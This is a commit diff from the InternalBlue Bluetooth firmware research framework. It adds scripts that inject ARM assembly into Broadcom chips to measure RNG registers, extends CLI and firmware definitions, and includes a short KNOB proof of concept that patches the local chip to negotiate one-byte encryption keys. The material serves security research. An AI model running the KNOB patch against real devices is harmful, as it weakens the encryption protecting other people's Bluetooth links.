def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
## enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("rpi3p-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
internalblue._teardownSockets()
+222
View File
@@ -0,0 +1,222 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200480 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
//bl notify_hci
mov r0, 0
mov r1, 0
mov r2, 0
mov r3, 0
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 10 // event length
mov r0, 12 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
pop {r0-r4, lr}
b 0x268E // send_hci_event_without_free()
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
#adb.process(["su", "-c", "svc wifi disable"])
os.system("sudo rfkill block wifi")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
## enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
+6 -7
View File
@@ -1,15 +1,14 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
@@ -131,9 +130,9 @@ def lereceiveStatusCallback(record):
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = u8(data[0x83])
packet_channel = data[0x83]
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = u8(data[0])
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
@@ -156,11 +155,11 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channels_total = packet_channel_map[37]
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
+59 -11
View File
@@ -1,11 +1,9 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -32,16 +30,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
internalblue.patchRom(0x530F6, patch)
internalblue.patchRom(Address(0x530F6), patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, '\x01') # global key entropy
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Currently, there is no LMP monitoring option on Android 8.\n")
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+225
View File
@@ -0,0 +1,225 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x215000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x9C460 # original RNG function that we overwrite with bx lr
PRAND = 0x41079C # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr # 1 byte but at least changes
# 0x41079C rxInitAngle_adr # this changes a bit
# 0x4100AC spurFreqErr1_adr
# 0x410548 rxPskPhErr5_adr_0
# 0x20066C *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0xE628 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore(log_level='info', serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
sleep(2) # FIXME
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
pos = 0
for c in check:
pos = pos + 1
if c != 0x42:
log.error("!!!! data was corrupted !!! %i" % pos)
# uhm and for deleting every 5th let's take numpy (oh why??)
#data = np.delete(data, np.arange(4, data.__len__(), 5))
# FIXME we didn't remove the 0x42 in this data set!! something is wrong here
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("s8_randomdata_pseudo-%irounds-reg0x%x-2s-corrected.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+2 -2
View File
@@ -17,8 +17,7 @@ from typing import (
Dict,
)
# Address = NewType("Address", int)
Address = int
Address = NewType("Address", int)
ConnectionNumber = NewType("ConnectionNumber", int)
ConnectionIndex = NewType("ConnectionIndex", int)
@@ -26,6 +25,7 @@ BluetoothAddress = NewType("BluetoothAddress", bytes)
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
HeapInformation = NewType("HeapInformation", Dict[str, Any])
QueueInformation = NewType("QueueInformation", Dict[str, Any])
QueueInformation = NewType("MemoryPool", Dict[str, Any])
try:
+1 -1
View File
@@ -396,7 +396,7 @@ class ADBCore(InternalBlue):
# automatically detect the proper serial device with lsof
logfile = (
adb.process(
["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]
["su", "-c", "lsof | grep btsnoop_hci.log | tail -n 1 | awk '{print $NF}'"]
)
.recvall()
.strip()
+84 -13
View File
@@ -5,7 +5,7 @@
# All available CLI commands are defined in this file by
# creating subclasses of the Cmd class.
#
# Copyright (c) 2018 Dennis Mantz. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -90,6 +90,11 @@ def findCmd(keyword):
def auto_int(x):
""" Convert a string (either decimal number or hex number) into an integer.
"""
# remove leading zeros as this doesn't work with int(), issue 20
# but only for integers (023), not for hex (0x23)
if not ('x' in x):
x = x.lstrip('0')
return int(x, 0)
@@ -114,13 +119,28 @@ def parse_bt_addr(bt_addr):
# Convert to byte string (little endian)
try:
addr = addr.decode("hex")
addr = bytearray.fromhex(addr)
except TypeError:
log.info("BT Address must consist of only hex digests!")
return None
return addr
def faster_flat(sections, filler=b'\x00'):
# type: (dict, byte) -> bytearray
# reimplementation of pwntools flat() for our specific usecase
# this is much faster for some reason.
image = bytearray()
maxkey = max(sections.keys())
maxlen = len(sections[maxkey])
image += filler * (maxkey + maxlen)
for key in sections.keys():
addr = key
data = sections[key]
size = len(data)
image[addr:addr+size] = data
return image
class Cmd(object):
""" This class is the superclass of a CLI command. Every CLI command
@@ -146,7 +166,7 @@ class Cmd(object):
self.memory_image_template_filename = (
internalblue.data_directory
+ "/memdump_"
+ self.internalblue.fw.__name__[6:12]
+ self.internalblue.fw.__name__
+ "_template.bin"
)
@@ -203,6 +223,8 @@ class Cmd(object):
Initially read out a chip's memory, all sections (RAM+ROM).
:return:
"""
# initialize the ROM
bytes_done = 0
if not os.path.exists(self.memory_image_template_filename):
log.info("No template found. Need to read ROM sections as well!")
@@ -215,23 +237,31 @@ class Cmd(object):
self.progress_log = log.progress("Initialize internal memory image")
dumped_sections = {}
for section in self.internalblue.fw.SECTIONS:
dumped_sections[section.start_addr] = self.readMem(
# pwntools workaround: dump only rom, extend image
# dd if=/dev/zero bs=10M count=1 >>memdump_xxx_template.bin
# if section.is_rom:
dumped_sections[section.start_addr] = bytes(self.readMem(
section.start_addr,
section.size(),
self.progress_log,
bytes_done,
bytes_total,
)
))
bytes_done += section.size()
#self.progress_log.success(f"Done with Section {section.start_addr:x}")
self.progress_log.success("Received Data: complete")
Cmd.memory_image = flat(dumped_sections, filler="\x00")
#Cmd.memory_image = flat(dumped_sections, filler=b'\x00') # this is really slow in current pwntools
Cmd.memory_image = faster_flat(dumped_sections, filler=b'\x00') # this is really slow in current pwntools
#self.progress_log.success("Flat: complete. Writing to disk...")
f = open(self.memory_image_template_filename, "wb")
f.write(Cmd.memory_image)
f.close()
# otherwise read the RAM
else:
log.info(
self.memory_image_template_filename
+ " already exists. Only read and updating non-ROM sections!"
+ " exists. Updating non-ROM sections!"
)
Cmd.memory_image = read(self.memory_image_template_filename)
self.refreshMemoryImage()
@@ -258,9 +288,9 @@ class Cmd(object):
)
if sectiondump and Cmd.memory_image:
Cmd.memory_image = (
Cmd.memory_image[0 : section.start_addr]
Cmd.memory_image[0:section.start_addr]
+ sectiondump
+ Cmd.memory_image[section.end_addr :]
+ Cmd.memory_image[section.end_addr:]
)
bytes_done += section.size()
self.progress_log.success("Received Data: complete")
@@ -277,6 +307,8 @@ class Cmd(object):
return self.internalblue.launchRam(address)
#
# Start of implemented commands:
#
@@ -1380,7 +1412,7 @@ class CmdSendLmp(Cmd):
log.info(
"Sending op=%d data=%s to connection handle=0x%04x"
% (args.opcode, data.encode("hex"), args.conn_handle)
% (args.opcode, data.decode("utf-8"), args.conn_handle)
)
return self.internalblue.sendLmpPacket(
args.opcode, data, is_master, args.conn_handle, extended_op=args.extended
@@ -1784,11 +1816,27 @@ class CmdBreakpoint(Cmd):
return True
log.info("Inserting breakpoint at 0x%x..." % args.address)
self.internalblue.patchRom(args.address, "\x00\xbe\x00\x00")
self.internalblue.patchRom(args.address, b'\x00\xbe\x00\x00') # on ARM, hex code for a break point is 0xBE00
return True
class CmdMemoryPool(Cmd):
keywords = ["heap", "pool"]
description = "Enable memory pool statistics."
parser = argparse.ArgumentParser(
prog=keywords[0],
description=description,
epilog="Aliases: " + ", ".join(keywords),
)
def work(self):
log.info("Memory statistics will now appear every second.")
self.internalblue.sendHciCommand(0xfd1c, b'\x50')
return True
class CmdConnectCmd(Cmd):
keywords = ["connect", "c"]
description = "Initiate a connection to a remote Bluetooth device"
@@ -1798,7 +1846,7 @@ class CmdConnectCmd(Cmd):
epilog="Aliases: " + ", ".join(keywords),
)
parser.add_argument(
"btaddr", help="Bluetooth address of the remote device (with or without ':'."
"btaddr", help="Bluetooth address of the remote device (with or without ':')."
)
def work(self):
@@ -2071,7 +2119,12 @@ class CmdSendDiagCmd(Cmd):
if data_part[0:2] == "0x":
data += p32(auto_int(data_part))
else:
data += binascii.unhexlify(data_part)
try:
data += binascii.unhexlify(data_part)
# might return odd length string etc.
except binascii.Error:
log.warn("Invalid hex string!")
return False
self.internalblue.sendH4(args.type, data)
@@ -2095,3 +2148,21 @@ class CmdLaunch(Cmd):
self.internalblue.launchRam(args.address)
return True
class CmdEhancedAdv(Cmd):
keywords = ["adv"]
description = "Enables enhanced advertisement reports in the first half of the `Event Type` field."
parser = argparse.ArgumentParser(
prog=keywords[0],
description=description,
epilog="Aliases: " + ", ".join(keywords),
)
def work(self):
args = self.getArgs()
if not args:
return False
self.internalblue.enableEnhancedAdvReport()
return True
+128 -2
View File
@@ -7,7 +7,7 @@
# It also implements methods to setup the TCP connection to the
# Android Bluetooth stack via ADB port forwarding
#
# Copyright (c) 2018 Dennis Mantz. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -200,6 +200,7 @@ class InternalBlue(with_metaclass(ABCMeta, object)):
# Register callbacks which handle specific HCI Events:
self.registerHciCallback(self.connectionStatusCallback)
self.registerHciCallback(self.coexStatusCallback)
self.registerHciCallback(self.readMemoryPoolStatisticsCallback)
# If the --replay flag was used and a chip is spoofed.
self.replay = replay
@@ -1830,7 +1831,6 @@ class InternalBlue(with_metaclass(ABCMeta, object)):
if not issubclass(_hcipkt.__class__, hci.HCI_Event):
return
hcipkt: hci.HCI_Event = cast(hci.HCI_Event, _hcipkt) # get HCI Event packet
timestamp = record[5] # get timestamp
# Check if event is Connection Create Status Event
if hcipkt.event_code == 0x0F:
@@ -1993,6 +1993,86 @@ class InternalBlue(with_metaclass(ABCMeta, object)):
return bloclist
def readMemoryPoolStatisticsCallback(self, record):
# type: (Record) -> Optional[Union[List[MemoryPool], bool]]
"""
The chip can be put into a mode that enables displaying
memory pool statistics each second with the HCI command
0xfd1c (VSC DBFW) 0x50 (Read Memory Pool Statistics).
Extracted the info about this from a Mojave PacketLogger,
saw it once on an iPhone XS (Aladdin) in action and then
tested it on a Samsung Galaxy S10e and it works.
In contrast to the readHeapInformation command, this does
not manually traverse and check the heap. This means that
this variant is faster but cannot perform checks for
heap corruptions.
TODO: There might be more subcommands, maybe also check out
0x51 (Logging over PCIe) and 0x02 (Write Trace Config).
"""
_hcipkt = record[0]
if not issubclass(_hcipkt.__class__, hci.HCI_Event):
return
hcipkt: hci.HCI_Event = cast(hci.HCI_Event, _hcipkt) # get HCI Event packet
# Check if event is Connection Create Status Event
if hcipkt.event_code == 0xFF and hcipkt.data[0:2] == b'\x1b\x08': # Dump Type 8
log.debug("[MemPool Statistics Received]")
# Pool Meta Information
pool_meta = struct.unpack("<HIIII", hcipkt.data[3:21])
meta_info = {}
meta_info["hci_count"] = pool_meta[0] # Dumped HCI Packet Count
meta_info["free_min"] = pool_meta[1] # Free Memory Min Address
meta_info["free_max"] = pool_meta[2] # Free Memory Max Address Plus One
meta_info["time"] = pool_meta[3] # Timestamp
meta_info["rfu"] = pool_meta[4] # RFU
log.debug(meta_info)
# Individual Pool Information
pool_list = []
pool_len = hcipkt.data[2] # Number of Pools
for index in range(pool_len):
pool_fields = struct.unpack("<IIIHHHHHH", hcipkt.data[21+(index*24):21+((index+1)*24)])
current_element = {}
current_element["index"] = index
current_element["base"] = pool_fields[0] # Base
current_element["first"] = pool_fields[1] # First Free
current_element["name"] = pool_fields[2].to_bytes(4, byteorder='little').decode('utf-8') # Name
current_element["size"] = pool_fields[3] # Block Size
current_element["count"] = pool_fields[4] # Block Count
current_element["low"] = pool_fields[5] # Low Watermark
current_element["allocated"] = pool_fields[6] # Allocated Blocks
current_element["free"] = pool_fields[7] # Free Blocks
current_element["die"] = pool_fields[8] # Die Reserve Count
log.debug(current_element)
pool_list.append(current_element)
# We're called asynchronous so we can return but printing in the
# command line does not really make sense.
log.info((
"\n> Pools at {time}, Min Addr 0x{free_min:06X}, "
"Max Addr 0x{free_max:06X}"
).format(**meta_info))
log.info(" Name @ Base: Size Alloc / Cnt 1st Free Low Die ")
log.info(" ----------------------------------------------------------")
for pool in pool_list:
log.info((
" {name} @ 0x{base:06X}: {size:6d}"
" {allocated:3d} / {count:3d} "
"0x{first:06X} {low:3d} {die:3d}"
).format(**pool))
return pool_list
return
def readQueueInformation(self):
# type: () -> Optional[List[QueueElement]]
"""
@@ -2096,8 +2176,54 @@ class InternalBlue(with_metaclass(ABCMeta, object)):
else:
log.warn("Diagnostic protocol requires modified Android driver!")
def enableEnhancedAdvReport(self):
# type: () -> bool
"""
Broadcom and Cypress chips can extend the "Event Type" field in LE Advertising
Reports with information on the channel, antenna, and scan mode.
Parsing this enhanced advertisement report is "documented" in the PacketDecoder
binary of Apple's PacketLogger, which is part of the Additional Tools for XCode.
The function parsing these is called `leAdvertisingEventTypeString` (XCode 11.4).
Usually, the Event Type field is set to 0x00-0x04, meaning ADV_IND..SCAN_RSP.
Additional fields:
channel = (event_type >> 4) & 7
antenna = event_type & 0x80
scan_mode = (event_type >> 3) & 3
The channel is a value 0--2, which corresponds to 37--39.
The antenna is 0 for BT and 1 for WLAN.
No idea about the scan mode ;)
The Broadcom and Cypress firmware sets these additional fields when the firmware
flag `bEnhancedAdvReport` is set. We do not know how to set it via VSC HCI and if that
is possible, so we set it by directly writing to RAM.
TODO: Also implement for the MacBook 2016, it's at 0x2037D0, but we don't know
the current LMP version, as it changes with each macOS patch level.
Won't Fix:
* The Nexus 5 BLE implementation is too old, `lculp_HandleScanReport` (0x184D0) and
`_scanTaskRxHeaderDone` (0x16E74) do not reference this flag yet.
* Also seems to be missing in the Nexus 6P/Samsung Galaxy S6 but didn't check as careful.
Returns true if the feature is supported and could be enabled.
"""
# Check if constants are defined in fw.py
if "ENHANCED_ADV_REPORT_ADDRESS" not in dir(self.fw):
log.warn(
"enableEnhancedAdvReport: 'ENHANCED_ADV_REPORT_ADDRESS' not in fw.py. FEATURE NOT SUPPORTED!"
)
return False
self.writeMem(self.fw.ENHANCED_ADV_REPORT_ADDRESS, b'\x01\x00\x00\x00')
def _setupSockets(self):
raise NotImplementedError()
def _teardownSockets(self):
raise NotImplementedError()
+4
View File
@@ -88,6 +88,8 @@ class FirmwareDefinition:
PATCHRAM_NUMBER_OF_SLOTS: int
LAUNCH_RAM_PAUSE = None
LAUNCH_RAM = Address
HCI_EVENT_COMPLETE = Address
READ_MEM_ALIGNED_ASM_LOCATION: Address
READ_MEM_ALIGNED_ASM_SNIPPET: str
@@ -96,6 +98,8 @@ class FirmwareDefinition:
TRACEPOINT_BODY_ASM_LOCATION: Address
TRACEPOINT_HOOK_ASM = None
ENHANCED_ADV_REPORT_ADDRESS: Address
class Firmware(object):
firmware: FirmwareDefinition
+10 -5
View File
@@ -1,8 +1,8 @@
# fw_0x420e.py
#!/usr/bin/env python
# fw_0x1111.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -22,11 +22,12 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4375B1(FirmwareDefinition):
# Firmware Infos
# Samsung S10/S10e/S10+
# Samsung S10/S10e/S10+/S20
FW_NAME = "BCM4375B1"
@@ -54,6 +55,10 @@ class BCM4375B1(FirmwareDefinition):
BLOC_HEAD = 0x20075C
BLOC_NG = True
# Enable enhanced advertisement reports (bEnhancedAdvReport)
# tested but by default the S10 only uses the LE Extended format, which is different...
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20D176)
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env python
# fw_0x2033.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4377B3(FirmwareDefinition):
# Firmware Infos
# MacBook Late 2019, MacBook Air 2020, PCIe variant
FW_NAME = "BCM4377B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
